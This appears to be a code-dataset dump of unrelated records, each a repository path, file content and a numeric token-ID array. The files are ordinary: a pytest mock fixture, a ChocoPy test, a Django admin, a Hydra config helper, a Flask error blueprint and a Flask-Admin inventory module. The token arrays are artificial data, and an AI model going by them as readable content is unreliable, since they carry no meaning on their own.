323, 29906, 1125, 13, 12, 12, 12, 12, 12, 12, 798, 29896, 29889, 4397, 29898, 29896, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29906, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29941, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29946, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 23681, 313, 12765, 529, 323, 29906, 322, 2923, 6736, 323, 29896, 1125, 13, 12, 12, 12, 12, 12, 12, 798, 29896, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29906, 29889, 4397, 29898, 29896, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29941, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29946, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 23681, 313, 12765, 529, 323, 29896, 322, 2923, 6736, 448, 29896, 29930, 29911, 29896, 1125, 13, 12, 12, 12, 12, 12, 12, 798, 29896, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29906, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29941, 29889, 4397, 29898, 29896, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29946, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 2870, 29901, 13, 12, 12, 12, 12, 12, 12, 798, 29896, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29906, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29941, 29889, 4397, 29898, 29900, 29897, 13, 12, 12, 12, 12, 12, 12, 798, 29946, 29889, 4397, 29898, 29896, 29897, 13, 12, 12, 12, 12, 13, 12, 12, 12, 12, 29937, 2087, 15353, 1743, 263, 6276, 2350, 13, 12, 12, 12, 12, 1491, 2492, 29896, 29889, 4397, 29898, 9302, 29889, 2378, 29898, 798, 29896, 876, 13, 12, 12, 12, 12, 1491, 2492, 29906, 29889, 4397, 29898, 9302, 29889, 2378, 29898, 798, 29906, 876, 13, 12, 12, 12, 12, 1491, 2492, 29941, 29889, 4397, 29898, 9302, 29889, 2378, 29898, 798, 29941, 876, 13, 12, 12, 12, 12, 1491, 2492, 29946, 29889, 4397, 29898, 9302, 29889, 2378, 29898, 798, 29946, 876, 13, 12, 12, 12, 12, 13, 12, 12, 12, 1491, 2492, 29896, 353, 7442, 29889, 2378, 29898, 1491, 2492, 29896, 29897, 13, 12, 12, 12, 1491, 2492, 29906, 353, 7442, 29889, 2378, 29898, 1491, 2492, 29906, 29897, 13, 12, 12, 12, 1491, 2492, 29941, 353, 7442, 29889, 2378, 29898, 1491, 2492, 29941, 29897, 13, 12, 12, 12, 1491, 2492, 29946, 353, 7442, 29889, 2378, 29898, 1491, 2492, 29946, 29897, 13, 12, 12, 12, 13, 12, 12, 12, 4905, 29879, 29896, 29889, 4397, 29898, 20580, 29906, 29928, 29898, 1491, 2492, 29896, 29892, 8466, 876, 13, 12, 12, 12, 4905, 29879, 29906, 29889, 4397, 29898, 20580, 29906, 29928, 29898, 1491, 2492, 29906, 29892, 8466, 876, 13, 12, 12, 12, 4905, 29879, 29941, 29889, 4397, 29898, 20580, 29906, 29928, 29898, 1491, 2492, 29941, 29892, 8466, 876, 13, 12, 12, 12, 4905, 29879, 29946, 29889, 4397, 29898, 20580, 29906, 29928, 29898, 1491, 2492, 29946, 29892, 8466, 876, 13, 12, 12, 13, 12, 2457, 7442, 29889, 2378, 29898, 4905, 29879, 29896, 511, 7442, 29889, 2378, 29898, 4905, 29879, 29906, 511, 7442, 29889, 2378, 29898, 4905, 29879, 29941, 511, 7442, 29889, 2378, 29898, 4905, 29879, 29946, 29897, 13, 12, 13, 1753, 17332, 29933, 29925, 29898, 2492, 1125, 13, 12, 29937, 476, 5851, 316, 8928, 359, 282, 7887, 1368, 29871, 29941, 29916, 29941, 13, 12, 17460, 353, 7442, 29889, 2378, 4197, 29961, 29896, 29892, 29871, 29906, 29892, 29871, 29946, 1402, 518, 29947, 29892, 29871, 29900, 29892, 29871, 29896, 29953, 1402, 518, 29941, 29906, 29892, 29871, 29953, 29946, 29892, 29871, 29896, 29906, 29947, 24960, 13, 12, 13, 12, 4905, 29879, 29896, 353, 5159, 13, 12, 4905, 29879, 29906, 353, 5159, 13, 12, 13, 12, 29937, 2431, 29725, 2765, 263, 6382, 331, 13, 12, 1454, 474, 297, 1051, 29898, 3881, 29898, 29896, 29892, 10153, 29889, 12181, 29961, 29900, 29962, 29899, 29896, 22164, 13, 12, 12, 1454, 432, 297, 1051, 29898, 3881, 29898, 29896, 29892, 10153, 29889, 12181, 29961, 29896, 29962, 29899, 29896, 22164, 13, 12, 12, 12, 13, 12, 12, 12, 29885, 485, 29887, 353, 29871, 29900, 13, 12, 12, 12, 13, 12, 12, 12, 29937, 20535, 1743, 263, 10283, 423, 1697, 9119, 20816, 1146, 22732, 4277, 2637, 288, 15526, 6555, 321, 2897, 325, 23111, 15656, 13, 12, 12, 12, 1454, 330, 297, 1051, 29898, 3881, 6278, 29896, 29892, 29871, 29906, 22164, 13, 12, 12, 12, 12, 1454, 413, 297, 1051, 29898, 3881, 6278, 29896, 29892, 29871, 29906, 22164, 13, 12, 12, 12, 12, 12, 13, 12, 12, 12, 12, 12, 361, 5135, 29887, 1275, 29871, 29900, 29897, 322, 313, 29895, 1275, 29871, 29900, 22164, 13, 12, 12, 12, 12, 12, 12, 19878, 13, 12, 12, 12, 12, 12, 12, 13, 12, 12, 12, 12, 12, 29885, 485, 29887, 4619, 6425, 29898, 2492, 29961, 29875, 3816, 29926, 29962, 448, 10153, 29961, 29875, 29974, 29887, 3816, 29926, 29974, 29895, 2314, 13, 12, 12, 12, 12, 12, 13, 12, 12, 12, 29885, 485, 29887, 847, 29922, 29871, 29947, 13, 12, 12, 12, 13, 12, 12, 12, 29876, 2072, 353, 10153, 29961, 29875, 29899, 29896, 3816, 29926, 29962, 448, 10153, 29961, 29875, 3816, 29926, 29962, 13, 12, 12, 12, 29876, 27374, 353, 10153, 29961, 29875, 29899, 29896, 3816, 29926, 29974, 29896, 29962, 448, 10153, 29961, 29875, 3816, 29926, 29962, 13, 12, 12, 12, 23027, 353, 10153, 29961, 29875, 3816, 29926, 29974, 29896, 29962, 448, 10153, 29961, 29875, 3816, 29926, 29962, 13, 12, 12, 12, 29879, 449, 15879, 353, 10153, 29961, 29875, 29974, 29896, 3816, 29926, 29974, 29896, 29962, 448, 10153, 29961, 29875, 3816, 29926, 29962, 13, 12, 12, 12, 29879, 2438, 353, 10153, 29961, 29875, 29974, 29896, 3816, 29926, 29962, 448, 10153, 29961, 29875, 3816, 29926, 29962, 13, 12, 12, 12, 29879, 2438, 5933, 353, 10153, 29961, 29875, 29974, 29896, 3816, 29926, 29899, 29896, 29962, 448, 10153, 29961, 29875, 3816, 29926, 29962, 13, 12, 12, 12, 5933, 353, 10153, 29961, 29875, 3816, 29926, 29899, 29896, 29962, 448, 10153, 29961, 29875, 3816, 29926, 29962, 13, 12, 12, 12, 29876, 2072, 5933, 353, 10153, 29961, 29875, 29899, 29896, 3816, 29926, 29899, 29896, 29962, 448, 10153, 29961, 29875, 3816, 29926, 29962, 13, 12, 12, 12, 13, 12, 12, 12, 2083, 29896, 353, 29871, 29900, 13, 12, 12, 12, 2083, 29906, 353, 29871, 29900, 13, 12, 12, 12, 13, 12, 12, 12, 361, 313, 29876, 2072, 6736, 29871, 29900, 1125, 13, 12, 12, 12, 12, 2083, 29896, 4619, 29871, 29896, 13, 12, 12, 12, 361, 313, 6897, 29898, 29876, 2072, 29897, 1405, 286, 485, 29887, 1125, 13, 12, 12, 12, 12, 2083, 29896, 4619, 29871, 29906, 13, 12, 12, 12, 361, 313, 23027, 6736, 29871, 29900, 1125, 13, 12, 12, 12, 12, 2083, 29896, 4619, 29871, 29946, 13, 12, 12, 12, 361, 313, 6897, 29898, 23027, 29897, 1405, 286, 485, 29887, 1125, 13, 12, 12, 12, 12, 2083, 29896, 4619, 29871, 29947, 13, 12, 12, 12, 361, 313, 29879, 2438, 6736, 29871, 29900, 1125, 13, 12, 12, 12, 12, 2083, 29896, 4619, 29871, 29896, 29953, 13, 12, 12, 12, 361, 313, 6897, 29898, 29879, 2438, 29897, 1405, 286, 485, 29887, 1125, 13, 12, 12, 12, 12, 2083, 29896, 4619, 29871, 29941, 29906, 13, 12, 12, 12, 361, 313, 5933, 6736, 29871, 29900, 1125, 13, 12, 12, 12, 12, 2083, 29896, 4619, 29871, 29953, 29946, 13, 12, 12, 12, 361, 313, 6897, 29898, 5933, 29897, 1405, 286, 485, 29887, 1125, 13, 12, 12, 12, 12, 2083, 29896, 4619, 29871, 29896, 29906, 29947, 13, 12, 12, 12, 12, 13, 12, 12, 12, 361, 313, 29876, 27374, 6736, 29871, 29900, 1125, 13, 12, 12, 12, 12, 2083, 29906, 4619, 29871, 29896, 13, 12, 12, 12, 361, 313, 6897, 29898, 29876, 27374, 29897, 1405, 286, 485, 29887, 1125, 13, 12, 12, 12, 12, 2083, 29906, 4619, 29871, 29906, 13, 12, 12, 12, 361, 313, 29879, 449, 15879, 6736, 29871, 29900, 1125, 13, 12, 12, 12, 12, 2083, 29906, 4619, 29871, 29946, 13, 12, 12, 12, 361, 313, 6897, 29898, 29879, 449, 15879, 29897, 1405, 286, 485, 29887, 1125, 13, 12, 12, 12, 12, 2083, 29906, 4619, 29871, 29947, 13, 12, 12, 12, 361, 313, 29879, 2438, 5933, 6736, 29871, 29900, 1125, 13, 12, 12, 12, 12, 2083, 29906, 4619, 29871, 29896, 29953, 13, 12, 12, 12, 361, 313, 6897, 29898, 29879, 2438, 5933, 29897, 1405, 286, 485, 29887, 1125, 13, 12, 12, 12, 12, 2083, 29906, 4619, 29871, 29941, 29906, 13, 12, 12, 12, 361, 313, 29876, 2072, 5933, 6736, 29871, 29900, 1125, 13, 12, 12, 12, 12, 2083, 29906, 4619, 29871, 29953, 29946, 13, 12, 12, 12, 361, 313, 6897, 29898, 29876, 2072, 5933, 29897, 1405, 286, 485, 29887, 1125, 13, 12, 12, 12, 12, 2083, 29906, 4619, 29871, 29896, 29906, 29947, 13, 12, 12, 12, 13, 12, 12, 12, 4905, 29879, 29896, 29889, 4397, 29898, 2083, 29896, 29897, 13, 12, 12, 12, 4905, 29879, 29906, 29889, 4397, 29898, 2083, 29906, 29897, 13, 12, 12, 12, 12, 13, 12, 2457, 7442, 29889, 2378, 29898, 4905, 29879, 29896, 511, 7442, 29889, 2378, 29898, 4905, 29879, 29906, 29897, 13, 12, 12, 12, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 12, 2492, 353, 7442, 29889, 2378, 4197, 29961, 29945, 29892, 29871, 29946, 29892, 29871, 29941, 29892, 29871, 29906, 29892, 29871, 29941, 1402, 518, 29953, 29892, 29871, 29955, 29892, 29871, 29947, 29892, 29871, 29906, 29892, 29871, 29896, 1402, 518, 29941, 29892, 29871, 29945, 29892, 29871, 29896, 29900, 29892, 29871, 29947, 29892, 29871, 29906, 1402, 518, 29953, 29892, 29871, 29953, 29892, 29871, 29947, 29892, 29871, 29929, 29892, 29871, 29941, 1402, 518, 29955, 29892, 29871, 29906, 29892, 29871, 29946, 29892, 29871, 29955, 29892, 29871, 29896, 29896, 24960, 13, 12, 13, 12, 2158, 29898, 2492, 29897, 13, 12, 13, 12, 4905, 29879, 29896, 29892, 14391, 29906, 353, 17332, 29933, 29925, 29898, 2492, 29897, 13, 12, 13, 12, 2158, 29898, 4905, 29879, 29896, 29897, 13, 12, 2158, 29898, 4905, 29879, 29906, 29897, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 12, 12, 12, 13, 2 ]
tests/fixtures.py
junteudjio/runtimedocs
2
69273
import pytest from .context import mock, builtin_str @pytest.fixture(scope='function') def func(): def dummy(*agrs, **kwargs): pass f = mock.create_autospec(spec=dummy, name='fixture_function_to_decorate') return f @pytest.fixture(scope='function', autouse=True) @mock.patch('{builtin}.open'.format(builtin=builtin_str)) def mocked_open(mock_open): # mock_file = mock.Mock() # mock_file.write.return_value = None # mock_file.read.return_value = None # mock_open.return_value = mock_file return mock_open
[ 1, 1053, 11451, 1688, 13, 13, 3166, 869, 4703, 1053, 11187, 29892, 4240, 262, 29918, 710, 13, 13, 29992, 2272, 1688, 29889, 7241, 15546, 29898, 6078, 2433, 2220, 1495, 13, 1753, 3653, 7295, 13, 1678, 822, 20254, 10456, 351, 2288, 29892, 3579, 19290, 1125, 13, 4706, 1209, 13, 1678, 285, 353, 11187, 29889, 3258, 29918, 1300, 359, 3135, 29898, 6550, 29922, 29881, 11770, 29892, 1024, 2433, 7241, 15546, 29918, 2220, 29918, 517, 29918, 19557, 403, 1495, 13, 1678, 736, 285, 13, 13, 29992, 2272, 1688, 29889, 7241, 15546, 29898, 6078, 2433, 2220, 742, 1120, 1709, 29922, 5574, 29897, 13, 29992, 17640, 29889, 5041, 877, 29912, 16145, 262, 1836, 3150, 4286, 4830, 29898, 16145, 262, 29922, 16145, 262, 29918, 710, 876, 13, 1753, 11187, 287, 29918, 3150, 29898, 17640, 29918, 3150, 1125, 13, 1678, 396, 11187, 29918, 1445, 353, 11187, 29889, 18680, 580, 13, 1678, 396, 11187, 29918, 1445, 29889, 3539, 29889, 2457, 29918, 1767, 353, 6213, 13, 1678, 396, 11187, 29918, 1445, 29889, 949, 29889, 2457, 29918, 1767, 353, 6213, 13, 1678, 396, 11187, 29918, 3150, 29889, 2457, 29918, 1767, 353, 11187, 29918, 1445, 13, 1678, 736, 11187, 29918, 3150, 13, 2 ]
src/test/data/pa3/AdditionalTestCase/UnitTest/strcat_arg0_is_emptyString.py
Leo-Enrique-Wu/chocopy_compiler_code_generation
0
109926
print("" + "1234") print("Hello" + "World")
[ 1, 1596, 703, 29908, 718, 376, 29896, 29906, 29941, 29946, 1159, 13, 2158, 703, 10994, 29908, 718, 376, 14058, 1159, 2 ]
comments/admin.py
KingAnduin/fitness
0
140956
<filename>comments/admin.py from django.contrib import admin from comments.models import CommentsInfo class CommentAdmin(admin.ModelAdmin): list_display = ('comment_content', 'comment_create_time', 'order') admin.site.register(CommentsInfo, CommentAdmin)
[ 1, 529, 9507, 29958, 21032, 29914, 6406, 29889, 2272, 13, 3166, 9557, 29889, 21570, 1053, 4113, 13, 3166, 6589, 29889, 9794, 1053, 461, 29879, 3401, 13, 13, 13, 1990, 461, 12754, 29898, 6406, 29889, 3195, 12754, 1125, 13, 1678, 1051, 29918, 4990, 353, 6702, 9342, 29918, 3051, 742, 525, 9342, 29918, 3258, 29918, 2230, 742, 525, 2098, 1495, 13, 13, 13, 6406, 29889, 2746, 29889, 9573, 29898, 1523, 1860, 3401, 29892, 461, 12754, 29897, 13, 2 ]
experiment_utils/utils/jupyter_utils.py
ayasyrev/experiment_utils
0
135581
from pathlib import Path, PosixPath from typing import List, Union from hydra import compose, initialize_config_dir from omegaconf import DictConfig from experiment_utils import __path__ as experiment_utils_path experiment_utils_path = experiment_utils_path[0] def initialize_config(overrides: List[str] = [], config_dir_name: str = "conf", config_path: Union[str, PosixPath] = None, config_name: str = "config") -> DictConfig: """Initialise Hydra config when work in jupyter notebook. Args: overrides (List[str], optional): List of overrides. Defaults to []. config_dir_name (str, optional): Name of directory with config structure. Defaults to "conf". config_path (Union[str, PosixPath], optional): Path to look for config dir. Defaults to None, take it from experiment_utils lib. config_name (str, optional): Name for config file. Defaults to "config". Returns: DictConfig: Initialized DictConfig. """ if config_path is None: config_path = Path(experiment_utils_path) with initialize_config_dir(config_dir=str(config_path / config_dir_name)): cfg = compose(config_name=config_name, overrides=overrides) return cfg
[ 1, 515, 2224, 1982, 1053, 10802, 29892, 10321, 861, 2605, 13, 3166, 19229, 1053, 2391, 29892, 7761, 13, 13, 3166, 27246, 336, 1053, 27435, 29892, 11905, 29918, 2917, 29918, 3972, 13, 3166, 2703, 2442, 5527, 1053, 360, 919, 3991, 13, 13, 3166, 7639, 29918, 13239, 1053, 4770, 2084, 1649, 408, 7639, 29918, 13239, 29918, 2084, 13, 13, 13, 735, 15362, 29918, 13239, 29918, 2084, 353, 7639, 29918, 13239, 29918, 2084, 29961, 29900, 29962, 13, 13, 13, 1753, 11905, 29918, 2917, 29898, 957, 24040, 29901, 2391, 29961, 710, 29962, 353, 19997, 13, 462, 418, 2295, 29918, 3972, 29918, 978, 29901, 851, 353, 376, 5527, 613, 13, 462, 418, 2295, 29918, 2084, 29901, 7761, 29961, 710, 29892, 10321, 861, 2605, 29962, 353, 6213, 29892, 13, 462, 418, 2295, 29918, 978, 29901, 851, 353, 376, 2917, 1159, 1599, 360, 919, 3991, 29901, 13, 1678, 9995, 15514, 895, 379, 2941, 336, 2295, 746, 664, 297, 432, 786, 25547, 451, 19273, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 975, 24040, 313, 1293, 29961, 710, 1402, 13136, 1125, 2391, 310, 975, 24040, 29889, 13109, 29879, 304, 518, 1822, 13, 4706, 2295, 29918, 3972, 29918, 978, 313, 710, 29892, 13136, 1125, 4408, 310, 3884, 411, 2295, 3829, 29889, 13, 9651, 13109, 29879, 304, 376, 5527, 1642, 13, 4706, 2295, 29918, 2084, 313, 19986, 29961, 710, 29892, 10321, 861, 2605, 1402, 13136, 1125, 10802, 304, 1106, 363, 2295, 4516, 29889, 13, 9651, 13109, 29879, 304, 6213, 29892, 2125, 372, 515, 7639, 29918, 13239, 4303, 29889, 13, 4706, 2295, 29918, 978, 313, 710, 29892, 13136, 1125, 4408, 363, 2295, 934, 29889, 13109, 29879, 304, 376, 2917, 1642, 13, 13, 1678, 16969, 29901, 13, 4706, 360, 919, 3991, 29901, 17250, 1891, 360, 919, 3991, 29889, 13, 1678, 9995, 13, 1678, 565, 2295, 29918, 2084, 338, 6213, 29901, 13, 4706, 2295, 29918, 2084, 353, 10802, 29898, 735, 15362, 29918, 13239, 29918, 2084, 29897, 13, 1678, 411, 11905, 29918, 2917, 29918, 3972, 29898, 2917, 29918, 3972, 29922, 710, 29898, 2917, 29918, 2084, 847, 2295, 29918, 3972, 29918, 978, 22164, 13, 4706, 274, 16434, 353, 27435, 29898, 2917, 29918, 978, 29922, 2917, 29918, 978, 29892, 13, 462, 418, 975, 24040, 29922, 957, 24040, 29897, 13, 1678, 736, 274, 16434, 13, 2 ]
racoon/view/error/custom.py
onukura/Racoon
3
31274
# -*- coding: utf-8 -*- from flask import Blueprint, render_template bp_error = Blueprint("bp_error", __name__, url_prefix="/error") # Specific Error Handlers @bp_error.route("/default") def default(): return render_template( "error/error_base.html", error_code=500, header_name="Error", error_message="We will work on fixing that right away.", ) @bp_error.route("/unauthorized") def unauthorized(): return render_template( "error/error_base.html", error_code=500, header_name="Unauthorized", error_message="Not allowed to access this contents.", )
[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 30004, 13, 3166, 29784, 1053, 10924, 2158, 29892, 4050, 29918, 6886, 30004, 13, 30004, 13, 30004, 13, 25288, 29918, 2704, 353, 10924, 2158, 703, 25288, 29918, 2704, 613, 4770, 978, 1649, 29892, 3142, 29918, 13506, 13802, 2704, 1159, 30004, 13, 30004, 13, 30004, 13, 29937, 21220, 4829, 5166, 9306, 30004, 13, 29992, 25288, 29918, 2704, 29889, 13134, 11974, 4381, 1159, 30004, 13, 1753, 2322, 7295, 30004, 13, 1678, 736, 4050, 29918, 6886, 29898, 30004, 13, 4706, 376, 2704, 29914, 2704, 29918, 3188, 29889, 1420, 15231, 13, 4706, 1059, 29918, 401, 29922, 29945, 29900, 29900, 11167, 13, 4706, 4839, 29918, 978, 543, 2392, 15231, 13, 4706, 1059, 29918, 4906, 543, 4806, 674, 664, 373, 27826, 393, 1492, 3448, 29889, 15231, 13, 1678, 1723, 30004, 13, 30004, 13, 30004, 13, 29992, 25288, 29918, 2704, 29889, 13134, 11974, 348, 8921, 1891, 1159, 30004, 13, 1753, 1185, 329, 2015, 1891, 7295, 30004, 13, 1678, 736, 4050, 29918, 6886, 29898, 30004, 13, 4706, 376, 2704, 29914, 2704, 29918, 3188, 29889, 1420, 15231, 13, 4706, 1059, 29918, 401, 29922, 29945, 29900, 29900, 11167, 13, 4706, 4839, 29918, 978, 543, 29965, 1056, 329, 2015, 1891, 15231, 13, 4706, 1059, 29918, 4906, 543, 3664, 6068, 304, 2130, 445, 8118, 29889, 15231, 13, 1678, 1723, 30004, 13, 2 ]
app/admin/views.py
jiejiang/inventory
1
178508
<gh_stars>1-10 # -*- coding: utf-8 -*- __author__ = 'jie' import os, zipfile import pandas as pd from markupsafe import Markup from flask import redirect, url_for, flash, current_app from flask_admin.contrib import sqla from flask_admin.menu import MenuLink from flask_admin.model.form import InlineFormAdmin from sqlalchemy import func, desc, or_ from flask_user import current_user from flask_admin.actions import action from wtforms.validators import ValidationError from .. import db from . import admin from ..models import Order, Job, ProductInfo, ProductCountInfo, Retraction, Route from ..util import time_format class LoginRequiredModelView(sqla.ModelView): def is_accessible(self): return current_user.is_authenticated def inaccessible_callback(self, name, **kwargs): return redirect(url_for("user.login")) class JobAdmin(LoginRequiredModelView): can_delete = False can_edit = False can_create = False def _show_status(view, context, model, name): return model.status_string def _show_item_count(view, context, model, name): #return model.orders.count() #cannot use this because the case of order number re-use job_file = os.path.join(current_app.config['DOWNLOAD_FOLDER'], model.uuid, model.uuid + '.zip') if not os.path.exists(job_file): return "%d (orders)" % model.orders.count() try: with zipfile.ZipFile(job_file) as z: customs_df = pd.read_excel(z.open(u"江门申报单.xlsx"), converters={ u"企业运单编号": lambda x: str(x), u"收件人省市区代码": lambda x: str(x), u"收件人电话": lambda x: str(x), u"收件人证件号码": lambda x: str(x), u"发货人省市区代码": lambda x: str(x), u"发货人电话": lambda x: str(x), u"商品备案号": lambda x: str(x), u"发货人电话": lambda x: str(x), u'计量单位': lambda x: str(x), }) return len(customs_df.index) except Exception, inst: return "%d (orders)" % model.orders.count() column_formatters = { 'status': _show_status, 'creation_time': lambda v, c, m, p: time_format(m.creation_time), 'completion_time': lambda v, c, m, p: time_format(m.completion_time), 'item_count': _show_item_count, } class SuccessJobAdmin(JobAdmin): list_template = "admin/job/list.html" column_searchable_list = ('uuid', 'creation_time', 'issuer') column_exclude_list = ('percentage', 'message') column_default_sort = ('completion_time', True) column_list = ('uuid', 'status', 'completion_time', 'item_count', 'version', 'issuer') def get_query(self): return self.session.query(self.model).filter(self.model.status == Job.Status.COMPLETED) def get_count_query(self): return self.session.query(func.count('*')).filter(self.model.status == Job.Status.COMPLETED) class FailedJobAdmin(JobAdmin): column_default_sort = ('creation_time', True) column_list = ('uuid', 'status', 'creation_time', 'percentage', 'message', 'issuer') def get_query(self): return self.session.query(self.model).filter(or_(self.model.status == Job.Status.FAILED, self.model.status == Job.Status.DELETED)) def get_count_query(self): return self.session.query(func.count('*')).filter(or_(self.model.status == Job.Status.FAILED, self.model.status == Job.Status.DELETED)) class OrderAdmin(LoginRequiredModelView): def _show_type(view, context, model, name): return model.type_name column_formatters = { 'type': _show_type, 'upload_time': lambda v, c, m, p: time_format(m.upload_time), 'used_time': lambda v, c, m, p: time_format(m.used_time), } column_searchable_list = ('order_number', 'receiver_id_number', 'receiver_name') column_exclude_list = ('job',) form_excluded_columns = ('job',) column_details_exclude_list = ('job',) class UsedOrderAdmin(OrderAdmin): list_template = "admin/order/list.html" can_create = False can_delete = False can_edit = False can_view_details = True column_default_sort = ('used_time', True) def get_query(self): return self.session.query(self.model).filter(self.model.used == True) def get_count_query(self): return self.session.query(func.count('*')).filter(self.model.used == True) @action('reuse', u"弃用单号", u"您确定需要弃用这些单号?") def action_approve(self, ids): try: order_numbers = [] query = Order.query.filter(Order.id.in_(ids)).order_by(desc(Order.used_time)) for order in query.all(): order_numbers.append(order.order_number) if order.retraction_id: raise Exception, u"无法弃用已提取单号: %s" % order.order_number order.discard() db.session.commit() flash(u"如下单号已经弃用:[%s]" % ", ".join(order_numbers)) except Exception, inst: flash(u"无法弃用单号:[%s]。错误如下:\n%s" % (", ".join(order_numbers), str(inst)), "error") class UnusedOrderAdmin(OrderAdmin): can_create = False can_edit = False column_default_sort = ('order_number', False) def get_query(self): return self.session.query(self.model).filter(self.model.used==False, self.model.type == Order.Type.XIAN) def get_count_query(self): return self.session.query(func.count('*')).filter(self.model.used == False, self.model.type == Order.Type.XIAN) class UnretractedOrderAdmin(OrderAdmin): can_create = False can_edit = False can_delete = False can_view_details = True column_default_sort = ('used_time', True) def get_query(self): return self.session.query(self.model).filter(self.model.used==True, self.model.retraction_id == None) def get_count_query(self): return self.session.query(func.count('*')).filter(self.model.used==True, self.model.retraction_id == None) class RetractedOrderAdmin(OrderAdmin): can_create = False can_edit = False can_delete = False can_view_details = True column_default_sort = ('used_time', True) def get_query(self): return self.session.query(self.model).filter(self.model.used==True, self.model.retraction_id <> None) def get_count_query(self): return self.session.query(func.count('*')).filter(self.model.used==True, self.model.retraction_id <> None) class ProductCountInfoInlineModelForm(InlineFormAdmin): column_labels = dict(count=u"箱件数", gross_weight_per_box=u"每箱毛重(KG)") class ProductInfoAdmin(LoginRequiredModelView): #inline_models = [(ProductCountInfo, dict(form_columns=['count']))] #inline_models = (ProductCountInfoInlineModelForm(ProductCountInfo),) column_list = ( 'name', 'net_weight', 'gross_weight', 'unit_price', 'unit_per_item', 'tax_code', 'full_name', 'report_name', 'waybill_name', 'routes', 'deprecated') column_labels = dict(name=u"商品名称", net_weight=u"每件净重(KG)", count_infos=u"箱件数 / 毛重 -- 已作废", price_per_kg=u"每千克价格(KG) -- 已作废", full_name=u"全称(设置后无法修改)", deprecated=u"弃用", unit_price=u"单价", gross_weight=u"每件毛重(KG)", tax_code=u"商品税号", billing_unit=u"计费单位", billing_unit_code=u"计费单位代码", unit_per_item=u"单个物品申报数量", specification=u"规格/型号", bc_product_code=u"BC商品编码", bc_specification=u"BC商品规格型号", bc_second_quantity=u"BC第二数量", bc_measurement_unit=u"BC计量单位", bc_second_measurement_unit=u"BC第二计量单位", report_name=u"报单中显示名称", ticket_name=u"小票名称", ticket_price=u"小票单价", waybill_name=u"面单中显示名称", routes=u'线路', dutiable_as_any_4_pieces=u"4罐包含一个及以上该产品则报税", non_dutiable_as_all_6_pieces=u"6罐全是该产品则不报税") can_view_details = True column_default_sort = ('name', False) column_searchable_list = ('name', 'full_name', 'report_name') form_excluded_columns = ('price_per_kg', 'count_infos') def _show_count_infos(view, context, model, name): return Markup(model.count_info_string) column_formatters = { 'count_infos': _show_count_infos, } def on_model_change(self, form, model, is_created): model.name = "".join(model.name.strip().split()) if not is_created: if form.full_name.object_data <> form.full_name.data: model.full_name = form.full_name.object_data else: model.full_name = "".join(model.full_name.strip().split()) def ticket_name_max_length(form, field): if field.data and len(field.data) > 30: raise ValidationError(u"小票名称最长30字符") form_args = dict( ticket_name=dict(validators=[ticket_name_max_length]) ) class RetractionAdmin(LoginRequiredModelView): list_template = "admin/retraction/list.html" can_create = False can_edit = False can_delete = False column_searchable_list = ('uuid', 'timestamp') column_default_sort = ('timestamp', True) column_formatters = { 'timestamp': lambda v, c, m, p: time_format(m.timestamp), } class RouteAdmin(LoginRequiredModelView): column_labels = dict(name=u"名称", code=u"编码", products=u'包含产品') column_list = ('name', 'code', 'products') admin.add_view(SuccessJobAdmin(Job, db.session, endpoint="admin.success_jobs", name=u"生成订单")) admin.add_view(RetractionAdmin(Retraction, db.session, endpoint="admin.success_retraction", name=u"提取订单")) admin.add_view(RouteAdmin(Route, db.session, endpoint="admin.route", name=u"线路管理")) admin.add_view(ProductInfoAdmin(ProductInfo, db.session, endpoint="admin.product_info", name=u"商品信息")) admin.add_view(UnusedOrderAdmin(Order, db.session, endpoint="admin.unused_standard_order", name=u"未使用订单")) admin.add_view(UsedOrderAdmin(Order, db.session, endpoint="admin.used_order", name=u"已生成订单")) admin.add_view(UnretractedOrderAdmin(Order, db.session, endpoint="admin.unretracted_order", name=u"未提取订单")) admin.add_view(RetractedOrderAdmin(Order, db.session, endpoint="admin.retracted_order", name=u"已提取订单")) admin.add_view(FailedJobAdmin(Job, db.session, endpoint="admin.failed_jobs", name=u"错误记录")) admin.add_link(MenuLink(name=u"回到主界面", endpoint="front_end.index"))
